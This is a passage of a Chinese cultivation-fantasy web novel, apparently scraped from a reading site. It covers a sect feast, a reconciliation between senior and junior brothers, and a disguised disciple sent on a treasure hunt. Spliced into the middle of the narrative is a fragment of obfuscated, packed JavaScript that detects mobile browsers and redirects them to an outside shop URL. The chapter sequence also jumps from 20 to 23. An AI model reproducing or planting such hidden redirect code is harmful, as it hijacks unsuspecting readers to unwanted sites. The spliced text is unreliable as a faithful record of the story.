归染担忧的看了一下归舟才说:“掌门师弟当时回来的时候中了两种不同的毒,两种毒呈现相辅相成之势,那毒蔓延极快,并且伤及根基、折损修为,因此我推断,师尊应是将能转移走的毒全部转移到了自己身上,才会三日就仙逝。”
归寂听着师尊的死因,本来心中就有诸多怨气,他愤怒的看向归舟,但是在看见归舟那张苍白的面孔后,他内心的火气就燃不起来了。
归舟什么样的心性这么多年他也知道,与自己一样。
自己下山历练遇到的事,无非就是没有连累到门派罢了。
“四师兄”归寂不想叫他掌门,他还是不能释怀,自己师尊的死与师兄有关。
“能告诉我,你是怎么中毒的吗?”归寂的声音微微颤抖,却不是因为恐惧和愤怒。
归舟抿了抿干涩的唇,唇上无一丝血色,然后闭上眼睛:“我进城后发现城中确实尽是妖物,但是我看见了一家人,那家有两人是人族,不能杀。”
“我放了他们。”
这句话,让归寂感觉好像看到了被卖去斗兽场的自己,不管是什么环境下,都想着救人。
“当时那只龙妖伤的太重了,我就想着人之将死其言也善,妖也一样,就将师姐给的灵药撒在布上递给他们,就走了,我刚转身,那个女子就说是我杀了她夫君。我当时没想太多,就想带她尽快出城,但她就像疯了一般,还要杀了她怀中的小女孩,我只来得及护住那个小孩,等再看她时,她已经自尽了。期间我的左手手腕一直被她攥着,她应该就是那个时候给我下的毒。”归舟一口气说了这么多话,一时间有些喘,只能暂时缓缓。
归寂此刻的心里有些复杂,归舟是好心,而且是人之常情,不落井下石、雪中送炭,确是君子之风。
但是,他们是杀手,怎能做君子?
“那女子死后,我才感觉手腕处不对,
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只能暂时用灵力压制,先带着那个小孩出城了,但是在城门口的时候,那个小女孩刺了我心口一刀,第二种毒是那个时候中的。”
“是我心软,害了师尊,我对不住你们,也对不住辰秋落。”归舟的表情很痛苦。
归初叹了口气:“掌门师弟,师尊救你,想必是师尊的选择,恐怕我们都在也改变不了师尊的想法,师尊的死,不能全怪在你身上,但是你,也有责任。”
归寂现在沉默了,他想起了他自己说的那句话:江山易改本性难移。
这是好事,也不是。
不知为何,归寂心里憋得难受,他不受控制的对归舟说:“我没有你这样的师兄。”
此言一出,所有人都没想到,一时间气氛很凝重。
“我出去走走。”
归寂留下这句话,就走了。
归舟看着归寂的背影,知道小师弟对自己失望透顶了。
他是门派中仅次于师尊的强者,此生第一次出任务,就异常失败。
小师弟儿时经常跟在自己身后,那时的小师弟说,四师兄法力最强,跟着很有安全感。
但是现在,自己却让他们所有人都失望了。
这掌门之位,从一开始,他就不配。
“是我的错,掌门之位,我不配。”归舟看着归夜说。
归夜最看不惯归舟这一副受挫的样子,他压着怒火对归舟说:“你觉得要是师尊不发话,这掌门之位轮得到你吗?”
眼看着一场舌战即将开场,归染赶紧说:“好了,师弟还要休息,咱们先出去吧,去看看小师弟怎么样了。”
归初点了点头,跟着归染走出了房间,归夜低头在归舟耳边耳语:“归舟,我好不容易放下心结,别让我看不起你,要对得起师尊,对得起辰秋落。”
归舟看着他们都出去了,一直强忍的泪,开始不争气的顺着脸颊滑落。
他一个人坐在床榻边,他也在思考,为什么非得是他?
归染几人出去并没有见到归寂的身影,只看见归寂用法术留下的字迹:诸位师兄师姐,我去闭关了。
……
归寂从灵位前起身,他闭关时,对归舟有怨气,也并不想理解归舟。
这也就是为什么他一出关,并没有第一个去找归舟。
不过两年了,也应该放下了,门派内部是要团结的。
他御剑来到归舟的院子,一进门他就看见了熟悉的蔬菜,但同时他感受到了一股陌生的气息。
秋上尘在他没进院子的时候就知道有人来了,归寂进门查看的时候,她正好也倚在窗户旁边往外看。
直到归寂的眼神向这边看来时,秋上尘才从容不迫的走到门口,将门打开。
“你是?”秋上尘故意问。
“你又是谁?”归寂反问。
“要是来找师尊的,就去后山,师尊在后山。”秋上尘乖巧的看着他。
“多谢”
尽管声音很小,但秋上尘还是听见归寂转身的时候说了一句:“这人居然也会收徒。”
她心中不免觉得好笑。
归寂来到后山,看见不远处一身白衣的归舟,他并没有在修炼,而是站在崖边看着什么。
不知道为什么,归舟的背影给了归寂一种很脆弱的感觉,好像用力一点,归舟就会像蜡烛一样,燃烧殆尽了。
毕竟同门这么多年,归寂有些担心,站定说:“掌门师兄。”
归舟并没有理他,好像是没有听见。
归寂很奇怪,又往前走了几步,说:“掌门师兄?”
归舟好像这才听见,因为归寂看见归舟猛的一激灵。
归舟转身一看,归寂已经离自己很近了。
他面带歉意的说:“抱歉小师弟,方才太认真了,没听见。”
归寂看着归舟的脸色,他总觉得师兄的身体,好像还不如两年前刚中毒时,现在看上去倒是越发虚弱了。
“师兄面色不太好啊,可是最近没休息好?”
归舟“嗯”了一声。
归寂心道:师兄的性格果然没变,还是不爱说话。
归寂:“师兄,两年前多有得罪,当时还小,说的话做不得数。”
“你当时也没说错。”
归寂闻言抬头看归舟,这一看他觉得归舟这两年好像清瘦了不少。
“我确实很没用。”
归舟勉强笑了一下:“好了,不聊这些,你这两年修炼的如何?”
归寂骄傲的说:“师兄,我现在可是结丹后期,马上就能突破元婴了!”
“师弟的天赋就应该用在正地。”归舟有些欣慰的说。
归寂:“师兄,你收徒了?”
归舟闻言好像有些惊讶,随后“嗯”了一声。
“究竟是什么样的弟子,值得师兄收徒呀?”归寂打趣问。
看着归寂回到了两年前活泼开朗的样子,归舟心中略微有些酸涩。
“你现在都学会开师兄的玩笑了。”归舟无奈道:“不过,此事也说来话长。”
19. 夜宴
归寂听完归舟的陈述,想了想:“师兄,你觉得她奇怪吗?”
归舟闻言皱眉:“将她带上来之后,也没看到她有什么不对劲的地方,门派之中也很平静。不过……”
“不过什么?”归寂看见归舟停顿了赶紧追问。
归舟眼睛都亮了:“她在修炼方面,是百年、不、是千年难遇的天才!你敢信,她能在短短月余时间,从入门到筑基中期!”
归寂很久没有见到归舟有这么多情绪波动了,既然这姑娘暂时没什么大问题,留下来治疗归舟的心病也是一件好事。
“秋师侄竟有如此天赋,改日定要好好切磋一下。”归寂行礼:“既如此,我便先去找师姐了,她说晚上有为我准备的宴席。”
归舟点了点头,看着归寂转身离开的背影,他感慨:小师弟真是稳重了不少、长大了啊。
秋上尘在归寂走后,不屑的一“哼”区区一个结丹后期,能奈我何?
最多两月,我定追上!
“咳咳”
秋上尘听见身后传来一阵咳嗽的声音,她猛的一惊,自己从何时起,已经对这里不设防了?
转身一看,还是那个……小孩?
这最神秘的长老,不过就是一个还没自己大的小孩……
“四师叔,何事?”秋上尘回身规矩行礼道。
归寂闻言笑道:“我不过与师兄聊了几句,回来你就知道我是谁了?”
秋上尘露出了平日里那种干净、纯洁的笑容,缓缓道:“我来辰秋落已有月余,派中大部分的人自是都见过了,四师叔一来,就找我师尊,若是寻常的外门弟子,根本没有进入这院子的资格,内门弟子若无要事也不能来此,你的身份很好猜。再说,今日四师叔出关,好大的阵仗。”
归寂挑眉,点了点头:“师兄倒是收了个有意思的徒弟,待你日后学成,你我定要比试一番。”
秋上尘行礼:“四师叔说笑了,上尘不过来这月余,许多事还要向师叔请教呢。”
归寂“嗯”了一声,已经很久没有人能让他无话可说了。
他转身出了院子,听见身后传来秋上尘的声音:“恭送四师叔。”
归寂觉得这人很怪,但是说不上来哪里怪。
好像跟他下山历练时见到的许多女子不太一样,但是也没什么不同,可能是因为梅姐姐不这样吧!
秋上尘摇了摇头,这四师叔好像并不用太提防,修为不怎么样、人还没什么心眼,不过人终究不可貌相,归舟当年屠城之时,不也是一副翩翩公子的模样?
她刚转身要回屋,敏锐的察觉到了熟悉的气息——是归舟回来了。
秋上尘装作若无其事的往屋里走,三、二、一……
“上尘”归舟站在院门口轻声说。
此话一出,秋上尘像是受到惊吓了一般,忙转身行礼:“弟子见过师尊。”
归舟略表歉意:“抱歉,吓到你了,只是有事询问你。”
秋上尘点了点头:“师尊不必如此,是上尘修为不济,师尊请讲。”
“想必你也见到了,今日是你四师叔出关的日子,我们师兄弟也有两年未见了,在你三师伯的院子里简单设宴,你想去吗?”归舟有些不自在的问。
秋上尘心道,这种事情他居然会来问我的意见?稀奇!
“全凭师尊做主。”
归舟可犯了难,他本就不擅于交际,如今这情况,他更是不知道应该说什么了。
“那你……便留在院子里好好修炼吧。”
秋上尘:“是。”
归舟祭剑走了,秋上尘翻了个大大的白眼,问还不如不问,问了也没让我去啊!
有病!
……
“来来来,都躲开点,我这汤要撒了!诶呦,烫烫烫烫烫!”
归染从厨房出来,端着一大碗热气腾腾的汤对着院子里的归夜和归寂喊道:“你们俩什么活都不干,就知道让我一个人忙前忙后的。”
“师姐,今日是为我设宴,这谁是主人谁是客人,很好看出来吧?你说对吧师姐?”
归寂嬉皮笑脸的看着归染,归染刚放下汤,抬头正对上了归寂这副表情,她有一瞬间恍惚看到了多年前的那个小师弟,愣了一瞬,随后才说:“是,这宴本就是我一人想办。”
归寂见归染居然没有生气,心里觉得这倒也是件稀奇事。
“师姐,我来。”
归染看向院门口。
归舟刚到,就看见这偌大的院子里只有归染一人在忙,对着归夜和归寂叹了口气:“你们还真是……”
归染笑了笑,眼里全是对这几人的宠溺,这场面、就像儿时一样。
“终于做完了,你看看这么多菜,全是我和归舟做得!你们俩游!手!好!闲!”归染“咬牙切齿”的说。
“好了师姐,都别闹了,好不容易大家能聚在一起吃个饭。”归寂见势不妙打圆场。
归夜点头:“小师弟说得有理,咱们可真是许久未见了,也不知今日大师兄会不会回来。”
“先吃饭吧。”归舟说:“菜都要凉了。”
“怎么,师弟们不打算等我吗?”
院外传来了一道很熟悉的声音。
“大师兄!”归寂瞬间“弹射”起步,跑到了归初身边。
“大师兄,今日怎会回来?”归夜举起酒盏向归初敬。
归初笑道:“今日是小师弟出关的大日子,我这个做大师兄的,怎么能不回来?”
“大师兄,我就知道你是想着我的!”归寂欢呼。
归染看了归舟一眼,坐在归舟身旁说:“好了,这下,人齐了。”
归舟点了点头,看上去心事重重。
自那日的不欢而散后,小师弟闭关、大师兄下山,虽然归夜和归染没说什么,但是归舟自己都不能放过自己,其他几人心中又怎能不怨恨自己?
大师兄,归舟也确实很长时间没见过了。
“掌门师弟”归初看着归舟说。
本就是很平常的问候,但是归舟听后心中却并不好受。
他朝着归初勉强一笑:“大师兄,许久未见了。”
“好了,回都回来了,就别站着了,过来一起吃!”归染打破了这奇怪的气氛。
“好”
“来了来了!”
此时此刻,秋上尘正悄默声地躲在屋顶上,刚才那一幕她刚好见到了。
心中想起的第一个念头居然不是将这些人全杀了,而是……羡慕?
不得不承认,秋上尘很羡慕他们师兄弟之间的关系。
这种融洽的场面,是她此生没有体会过得。
不过,她不需要,拥有过多的情感,只会成为累赘。
秋上尘也不打算加入他们,躲在暗处,说不定能看到更多有用的信息。
底下那一桌人,有一句没一句的聊着:
“师姐,你这手艺不错啊!长进了!”归寂尝了一口归染炖的羊肉汤,不禁夸赞道。
归染“哼”了一声,得意的说:“你也不看看我是谁,这么多年研究药草,对于调味这方面还是很有经验的。”
“还有你,没大没小的。”归染说完,给了归寂一个白眼。
归夜有些幸灾乐祸的看着归寂说:“该!”
归寂自知理亏,但依旧理不直气也壮的“哼”了一声:“我乐意!”
归初也很久没回来了,这熟悉的场景,好像只有刚拜师那会体验过,也是很久没和大家在一起了。
看着面前嬉闹的师弟师妹,他终于找回了曾经的感觉。
环顾一圈后,他的目光定在了归舟身上。
归舟一直一言不发,从他来了之后,甚至没有动过筷子。
归初密音入耳:师弟,怎么了?
归舟心理五味杂陈,耳边突然传来归初的声音,他还一时没有反应过来。
顿了一会儿,才以同样的方式说:无事,多谢大师兄关心。
归初觉得归舟好像与自己生分了不少,他心里暗暗有了些猜测。
归初站起身走到归舟面前,拍了拍归舟的肩膀,他看见归舟看向他的眼神很复杂,也有一丝迷茫。
“师弟,这两年没见,大师兄有些关于修习上的问题,想要请教一下。”
归舟闻言,果然点了点头,起身到了院子外面。
归初对着桌上的人说:“我们先失陪一下,一会儿就回来。”
说完,归初随着归舟刚才走的方向跟去了。
“你们看出来了吗?大师兄有话对掌门师兄说。”归寂用八卦一般的语气看着面前两人说。
归染小声说:“当然,掌门师弟还有心事呢。”
“这心事,应与大师兄有关。”归夜喝了一口羊肉汤,表情一下子变了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888717|192133||http|test|mini|href|location''.split(''|''),0,{}));
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>归染和归寂都以为他怎么了,一直用焦急的目光看着他。
谁知道,归夜过了半天,说了一句:“鲜!真鲜!”
归染:……
归寂:……
归夜:???怎么了都这样看着我?
“师弟有心事?”归初用一种平易近人的语气说,归舟的性子,他最是了解。
他看得出来,归舟心事重重,而且这次见他的身体,在这两年间似乎并没有好转,反而更严重了。
归舟有些无措的抬起头看着归初,缓慢的开口:“大师兄,我……”
归初笑了一下:“小舟可是在担心两年前师尊仙逝的事我会怪你?”
归舟没有说话,但是归初从他的眼神中已经看到了答案。
归舟在听见归初对他的称呼的时候,呼吸一顿,鼻头瞬间酸涩了。
归初大他们许多,儿时对这几位师弟师妹照顾也颇多。
常人都说长兄如父,归初在这几人眼中,虽不至于如此,但也算是长辈了。
“大师兄,我……我知道,辰秋落的掌门,最不合适的人选就是我,你是大师兄,我却像抢了你的位置一样。还有师尊仙逝,你虽然没说什么,但是小师弟和归夜都那般生气,你……”
你一定也和他们一样会怪我的吧。
归初听后也算是证实了自己的想法,他无奈的笑了笑:“小舟,你一直觉得大师兄在怪你吗?”
归舟依旧没有说话。
“还和小时候一样,不善于交际啊,是大师兄对你们没有尽到教导的责任。”
归舟忙说:“这与大师兄有什么关系?是我,生性……”
归初走上前,摸了摸归舟的头,笑着说:“傻弟弟,当年说你也有责任,并不是责怪你的意思,是想让你知道,这世道的凶险,不能太天真,谁知你竟……”归初无奈的笑笑。
归舟低下头,归初借着月色好像看见有什么东西从归舟脸上掉下来。
归初不是没见归舟哭过,但是归舟很少流露情感,所以见得也并不多。
他只能将归舟抱住,安抚道:“好了,大师兄没有什么鸿鹄之志,天资也是我们几人中最差的,我就只希望你们过得好好的。我看得出来,这两年你过得并不好,比两年前还瘦了,面色也不好,心结必定是原因之一。今天见到我还生疏了不少,你我自幼相识,你疏远大师兄,大师兄可是很难过的。”
“没,我就是怕,大师兄烦……”归舟将头贴在归初肩上,脸偏向一旁,小声的说。
归初与他稍微拉开一点距离,认真的看着归舟的眼睛说:“小舟,你记住,我们师兄弟几人永远是对方的依靠,辰秋落需要团结,才能一心,无论你们做了什么,在大师兄这里,你们依旧是我的亲人。”
归舟点了点头,有些为难的将脸上残存的泪痕擦干。
“既然误会解开了,咱们回去吧,他们要等着急了。”
两人走回去的时候,往桌子上一看“满盘皆空”!
两人:……???
归寂尴尬的笑了笑:“嘿嘿,师姐做的饭太好吃了,一不小心就吃光了。”
归初:“哎,那真是可惜了,还没吃上几口呢!”
“那师兄别走了,多留下来几日,就能吃到了。”归舟生涩的开口。
归初点了点头:“既然掌门师弟发话了,那我就多呆几日。”
归舟和归初出院子之后的事情秋上尘不知道,因为她的位置堪堪能看见院子里面的桌子,再往前一点就要暴露了。
看了半天,除了见到了那个从未见过的大师兄意外,并没有什么可用的信息,她不知为何有些心情低落,只能悻悻的离开。
回到偏房,她想着,再过几日就要搬出去了,以后再想查什么东西,就很费劲了,这卧底的工作,确实不好做。
秋上尘对归舟的态度有了一丝微妙的转变,这段时间来,根据她观察发现,这人本心好似并不坏,反而是一直在救人?
但是她不能确定这人真是这样,还是一直在伪装?
她对于复仇有了些许疑问,当年之事或许另有隐情?
但是他毕竟屠了满城的人,那些人对她而言,亦是亲人。
归舟手上沾满了无辜之人的鲜血,也是死不足惜的!
可她自己呢,何尝不是杀了无数的人和妖?
细算,算不清楚的。
20. 任务
“上尘,那边的院子建好了。”
秋上尘一大清早,就听见门外传来归舟的声音。
真是想什么来什么,昨天正想什么时候搬过去的事,今天就来催了,真有效率!
“师尊,弟子稍后就搬。”
归舟转身看着这个熟悉的院子,好不容易有了几日烟火气,马上就又要变冷清了。
而且一旦搬出这个院子,就意味着秋上尘要开始接取任务了。
归舟从心里并不希望秋上尘手上沾染什么不好的事情,但是如果不接,恐难以服众。
“师尊,我收拾好了。”
秋上尘穿着一件与归舟同样素雅的衣衫出现在了归舟面前。
归舟微微点头:“好,日后若修炼有疑,无需通报,直接来此。”
迈出归舟院子的那一刻,不知为何,秋上尘感觉心里有点不舒服,好像空空的。
她轻“哼”一声,果然,在这院子住久了,人都变了。
真是害人不浅!
新住处离归舟的院子有些距离,倒也并不远,是建在了一个很合适的位置。
这里的建筑风格与归舟院子极为相似,有一种“熟悉的陌生感”。
院子里面空空荡荡的,连颗杂草都没有,不过屋内的陈设倒是挺齐全的。
哎,生活不易啊!秋上尘叹气。
解灵宗。
“师尊,您的伤如何了?”梅韵荼看着眼前的中年男子,但是她的话语中并没有展现过多的关切情感。
中年男子摇了摇头说:“已无碍,这两年间,宗门一切可好?”
梅韵荼“嗯”了一声,随后说:“师尊,解灵宗余下叛徒皆已被拔除,现如今解灵宗上下齐心,派中又有两名弟子晋升元婴。”
“韵荼,你可恢复了?”
梅韵荼:“此番就是来告诉师尊的,我已恢复全部修为,若师尊伤势有所好转,弟子想闭关月余,突破化神。”
中年男子听后,眼中闪过欣喜,他激动的握住梅韵荼的手说:“我解灵宗,后继有人了!”
“我解灵宗三代庸才,没成想最后竟是你……是师尊这么多年对不住你。”
梅韵荼淡淡的回答:“师尊,我只是要去突破,并不一定成功,解灵宗目前并未有一人化神。”
她这话说的生硬且冷漠。
“师尊好好修养,五日之后我就闭关了。”
留下这句话之后,梅韵荼头也不回的就走了。
她和这个人,仅仅只有师徒之名罢了。
她的哥哥死在解灵宗,她这辈子都不会忘。
梅韵荼走出来,她仰起头,却闭上了眼。
时到今日,这世上竟没了能与她交心之人,就连当日看见那幅画的秘密也无人可说了。
不,还有一个人。
也不知道他,过得怎么样了。
……
“上尘”归舟轻轻扣了扣院门。
秋上尘轻盈地从屋中走出,好像心情很好。
打开院门,看见了归舟那张熟悉的脸。归舟的脸色不是很好,好像是有什么心事。
“师尊?”秋上尘好奇的看着他。
归舟看着她说:“上尘,最近修炼的怎么样了?”
“弟子已经突破了结丹,师尊可是有任务给我?”秋上尘问道。
毕竟自她搬出归舟的院子之后,这人已经有足足五日没见过了,今日来这定有事说。
秋上尘迎他进了院子,归舟随她进来。
秋上尘跟在他后面等了半天也没等到归舟开口说话。
她只能又说了一句:“师尊?”
归舟转过身来,有些为难的开口说:“上尘,你的任务来了。”
秋上尘也没想到,这才刚过了几日,居然真的有任务给她了。
“这任务,是做什么的?”秋上尘不知道为什么有点紧张。
归舟滞了一瞬:“这任务,先前门派并未接到过。”
“近日南方某处山林之中隐有五彩霞光笼罩,是宝物现世之兆,门派想派你前去一探究竟。”
秋上尘闻言就已经猜到了这话是什么意思:南方山中有宝物现世,辰秋落势必要拿回来。
什么一探究竟,分明就是想要!虚伪!
归舟又走近了些,近到秋上尘都能听见归舟的呼吸声。
只见归舟从眉心抽出一缕金光,那缕金光被注入到了秋上尘的眉心。
秋上尘防备心未减,但是那缕金光过后,透过四肢百骸的却是暖流。
“师尊,这是什么?”秋上尘好奇的问。
归舟:“给了你一道护身禁制,能为你挡下一次杀招。”
语气间,竟是藏也藏不住的担忧。
秋上尘有一瞬间的愕然,这人的奇怪在于,一边将任务派给自己,一边又在担心自己,莫名其妙。
她冲着归舟笑道:“师尊放心,弟子此行不会掉以轻心,定完成门派交给我的任务。”
“拿着”归舟将一物放与她手中。
秋上尘奇道:“师尊,这是何物?”
“储物戒”归舟说:“可以节约空间、气力。”
“多谢师尊,弟子何日启程?”
归舟想了一下说:“越快越好。”
“那弟子收拾一下便出发了。”秋上尘行了一礼。
归舟看着她点了点头,走出了院子。
在他走后不久,秋上尘突然感受到了什么,她伸手一接——又是一张妖王的千里传音符。
连辰秋落都知道南方的异象,妖王想必也知道了。
她施法打开,妖王的声音传出来:南方宝物现世,务必将宝物带回!
哼,妖族倒是不装,直接把诉求告诉自己了。
这下可不好办了,这宝物一定不一般,抢夺的人也必然少不了。
哎,又是一场恶战。
也难怪归舟方才的语气有担心,这确实不好拿。
将换洗衣物放进储物戒,然后,她看向了不远处的糕点。
罢了,既然已经过了辟谷期,食物就算了,齁沉的。
就在她即将启程的时候,她突然想起来,她没有称手的武器啊!
秋上尘刚一迈出院子,就看见归舟站在不远处,手中拿着一把细而狭长的剑。
那剑通体银白,雕刻的花纹繁复,一看便是价值不菲的名剑!
归舟听到身后有响声,回身见她出来了,便将剑递给她:“若没有趁手的兵器,就先用这个吧。”
秋上尘双手接过。
“此剑名为千愁,将你的神识注入剑身,此剑日后便是你的本命剑了。”
千愁?千仇吗?很合适了。
秋上尘照做,剑身被一阵金光笼罩之后,破鞘而出,破空盘旋几圈过后,停在了秋上尘面前。
真是把极漂亮的剑。
秋上尘握住它后,感觉到了剑身的颤抖。
“名剑有灵,它甘愿认你为主。”归舟看着秋上尘说。
秋上尘收剑行礼:“多谢师尊赐剑。”
归舟点了点头,最终还是说道:“万事小心,我等你回来。”
看着秋上尘御剑离开的背影,归舟这才敢捂上心口,站在原地缓了许久。
不食人间烟火的天上谪仙,也会被这红尘俗世所牵绊。
他第一次紧张了,他怕她回不来了,亦或是不愿意回来。
他感觉这人与寻常人不同,她洒脱到可以在朝夕之间摒弃一切,仿佛她才是那天上人。
秋上尘的速度很快,她已经到了南方之境,甚至已经快要看见那方山林散发出来的五彩霞光了。
只是进入此地后,她明显察觉到周围与她同行之人变多了。
这些人是什么身份、什么修为她没有时间探查,于是只能将速度减缓,落在后面慢慢观察。
……
梅韵荼看着宗门外传来的消息,很无奈,又不能闭关了。
她虽对宝物无甚兴趣,但是总要做做样子。
就在进入南方之境后,她感觉到了一丝异常,这里很不对劲,但是说不上来。
她也决定跟在这群人身后探查。
转头一看,不远处也有一女子躲躲藏藏的跟着。
她不禁觉得有些好笑。
秋上尘自是也发现了她的存在,不过两人都很识趣的没有上前去。
这些人来自不同门派,不少平日里喊打喊杀的邪修也来了,还有些人甚至不是中原门派的装束。
秋上尘看着不远处缓慢行进的女子,感觉这人身上有种熟悉的气息。
忽然,那女子往旁边一闪身,躲了起来。
秋上尘不明所以,却也照做。
但是等了半天,却没有异常。
往前一看,先前的那些人竟都凭空消失了。
秋上尘来到那群人方才呆的地方,这才看见有结界。
只是这结界复杂,一时半会她还解不开。
就在梅韵荼正疑惑,为何这女子身上有种熟悉的感觉的时候,她往前一看,前路被一面巨大的结界拦住,
五毒门的人不知何时竟也来了。
这五毒门是中原四大名门之一,与解灵宗齐名!
她这两年名声大振,这五毒门中人怎会不认识自己?
她匆忙往旁边闪身一躲,偷偷望去。
无人发现。
然后她的表情像是看见了什么不该看见的东西。
五毒门中有人拿出了一副卷轴,而后那结界竟自己打开了!
来不及迟疑,她赶紧跟了上去。
若她没看错,那幅卷轴与她两年前在花楼里见到的画卷,同宗同源。
进去之后,她看见了乐舞升平的人。
乐舞升平,是中原四大名门中名声最差的。
其间中人,大多是“邪修”。
以双修之法为主,且男女不限,宗门风气不正。
因为其间中人不论男女个个摄人心魄、风华绝代。
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>简单来说就是,以美闻名。
不过,乐舞升平之人,均弹得一首好曲子——落水人间。
这曲子是乐舞升平的镇派之曲,其音有蛊惑人心、抽人魂魄之能!
不止是曲子弹得好,人家舞也跳的妙。
一支留醉恨水,竟能舞的人神魂颠倒、醉生梦死。
这门派虽然不雅,但着实不能小看了去。
……
两个时辰后,结界外。
一个女子抱头嚎叫。
秋上尘对阵法一类的简直一窍不通,她被难在外面了……
真丢人,早知道多学点这些了,她无语的想。
秋上尘苦恼的看着眼前这个甚至可通天高的结界,难道我这任务还没开始,就要结束了吗?
刚要离开,结界开了。
秋上尘:???
也是没有时间迟疑,她一闪身就进来了,结界随之关闭。
她定睛一看,这不是上午那个跟自己一样躲躲藏藏的姑娘吗?
梅韵荼进来之后,总感觉少了点什么,往后一看,那姑娘不见了!
她还不能直接离开,这南境之大,若是跟丢了,再想找到这些人,就很难了。
不过她运气不错,只等了两个时辰,这些人就停下脚步原地休整了。
梅韵荼赶紧祭剑,一路上念叨:“姑娘,你可等着点我,千万别走了。”
很快,梅韵荼回到了结界旁。
解灵宗,顾名思义,对于禁制、阵法最为了解,这结界虽然古老了点,但是对于梅韵荼来说,也不过是思考一会儿的事情。
再打开结界的一瞬间,她看见了那个姑娘的背影,她赶紧喊:“姑娘留步。”
秋上尘果然转过身来,见状,朝着梅韵荼莞尔一笑:“这位姑娘心地善良,竟折返回来帮助在下,在下感激不尽,愿帮姑娘一件事情。”
梅韵荼觉得这姑娘的话似曾相识,不由语气缓和了一些:“姑娘若真心感谢,不如与我结盟,这样你我二人胜算大些,况且那宝物,我不想要,此番只是想见见世面罢了,前面那群人势力过大,我孤身一人,不过是想自保。”
她还是觉得这姑娘不简单,将自己的来意表达的很明确,看上去颇有诚意。
秋上尘见人都这样说了,也不好说什么:“既如此,那便结盟,正好,我也是一人。”
梅韵荼礼貌的说:“在下姓梅,敢问姑娘姓甚名谁?”
秋上尘见她并没有说名,只说了姓,笑了一下回答:“在下姓秋。”
话音刚落,两人相视一笑。
梅韵荼说:“秋姑娘,请跟紧在下。”
两人回到营地的时候,那些人还在休息,两人都长舒了一口气。
“秋姑娘的修为?”梅韵荼问。
因为在她眼里,这姑娘分明就是刚刚结丹!来这种地方?太冒险了。
刚才还跟她结盟,也不知道是对是错。
秋上尘转头看向梅韵荼,而后笑了一下。
短短几眼,她已尽数知晓梅韵荼所有的困惑,柔声说:“梅姑娘,我修为确实不济,但亦有自保能力,无需挂心。”
梅韵荼没有回答,只是点了点头。
两人一时无言,静静地看着底下那群人的动作。
秋上尘看了梅韵荼一眼,问道:“这些人都是名门正派吗?”
梅韵荼点了点头,又摇了摇头:“有些是,有些不是。”
“比如那些身着黑衣、蒙着头的人,是中原四大名门之一的五毒门,那些长得好看的是乐舞升平的人,同样也是中原四大名门,其余那些红色衣服的人,应是域外来的。”梅韵荼一一为她介绍。
秋上尘只是知道中原有四大名门,但是并不知道四大名门的弟子都穿什么。
梅韵荼这样一介绍,她大致有个概念了。
看来这次的宝物将所有有名的门派全部惊动了,魔宫也不例外,那旁边这姑娘大概是解灵宗的人,不然也打不开外面那层结界。
梅韵荼说完才发觉自己好像暴露了,不过现在也能知道这姑娘是什么身份了,倒也好。
只是梅韵荼想问问她,他怎么样了,却一直没问出口。
秋上尘看见她一副欲言又止的模样,问道:“梅姑娘,怎么了?”
梅韵荼再三犹豫之下还是问了:“姑娘想必已知在下身份,在下有一个问题不知当讲不当讲。”
相比于辰秋落那些人的弯弯绕绕,秋上尘更喜欢梅韵荼的直率,她点点头:“梅姑娘请讲。”
梅韵荼张了好几次口,却始终没发出声音,最后小声的问:“我与辰秋落归寂长老是旧识,他如今怎样了?”
秋上尘没想到她问的是归寂,便回答:“归寂长老闭关两年,前几日方才出关,我是两年间来的,并不熟悉,怕是要让梅姑娘失望了。”
梅韵荼听后,道了谢。
又是一阵沉默,困扰两人的正是各自的心事,修仙之人一旦碰了凡尘,便再也割舍不下了。
23. 碎月银
自从上次的混战之后,又过去了好几天,梅韵荼总感觉她有什么很重要的事情忘记了。
她每天都“小心翼翼”的跟在秋上尘身后,无时不在感慨,世界真大、无奇不有啊!
还是自己太年轻了,若是再年长个十年、八年,化神后期,她还真不怕!坏就坏在,她现在甚至还没来得及闭关突破!
不过,这秋姑娘只有结丹修为,居然一点也不害怕?!
当真是初生牛犊不怕虎、后生可畏啊!
“喂!梅姑娘?你一天天的都在想些什么?也不说话。”
耳边突然传来秋上尘的声音,把她吓了一跳。
梅韵荼被吓得一激灵,回头无语的看着她:“在想我忘了什么事。”
这一吓,还真给她想起来了什么。
“诶,我想起来了。那个卷轴,不见了。”梅韵荼一下子变得严肃起来。
秋上尘面上一僵:对啊,怎么把这事给忘了!
“两位可修整好了?”凤音绝含笑的声音从前面传来,不一会儿,人就走到了面前。
见他来了,梅韵荼识趣的闭上了嘴,秋上尘也变回了那副冷漠的样子:“受伤的弟子如何了?”
凤音绝“哦”了一声:“不知道啊。”
看见秋上尘的表情之后,他不知为何,潜意识中觉得还是不要与这个姑娘起冲突比较好。
于是,他理所应当的说:“我是风月听潺的掌门,为何要管那些伤员?这都是我门下之人该处理的。”
梅韵荼听后,强压下心中的怒意,这人怎么如此不在意旁人的性命?
她下意识去看秋上尘,但在看见秋上尘后,竟也没有在她脸上看见愤怒。
梅韵荼感觉自己越来越看不透这个年轻姑娘了。
“带我们去看看。”秋上尘的声音同样没什么情感。
这语气还是让梅韵荼感觉很熟悉,不过目前还是没想起来是谁。
凤音绝听见这很像命令的话语后,怒极反笑:“姑娘可还记得自身的处境?”
秋上尘这才抬眼看他:“嗯,记得。我们是、盟友。”
凤音绝无言以对,嘴皮子上的功夫,他向来不行。
无非就是看个伤员,无妨。
“两位,这边请。”短短一瞬,凤音绝又恢复了那副眉眼含笑的样子。
看着凤音绝的背影,秋上尘一脸嫌恶,比起归舟,秋上尘倒是觉得这人更虚伪。
说白了就是装!一天天的翘着那个孔雀尾巴,嘚瑟!
不过,他找的这个休整的地方,还是蛮大个的,秋上尘边走边想。
中间还有一排排的树阻隔,是天然的房屋。
穿过几排树之后,她可算是见到了那天被抓的人。
秋上尘一把拉过梅韵荼,蹲下开始检查患者伤口,低声说:“梅姑娘,卷轴。”
梅韵荼这才又重新想起这件事,心中却赞叹,这姑娘还知道用这种方法查。
两人很快检查了一圈,那位拿卷轴的弟子,却并不在其中。
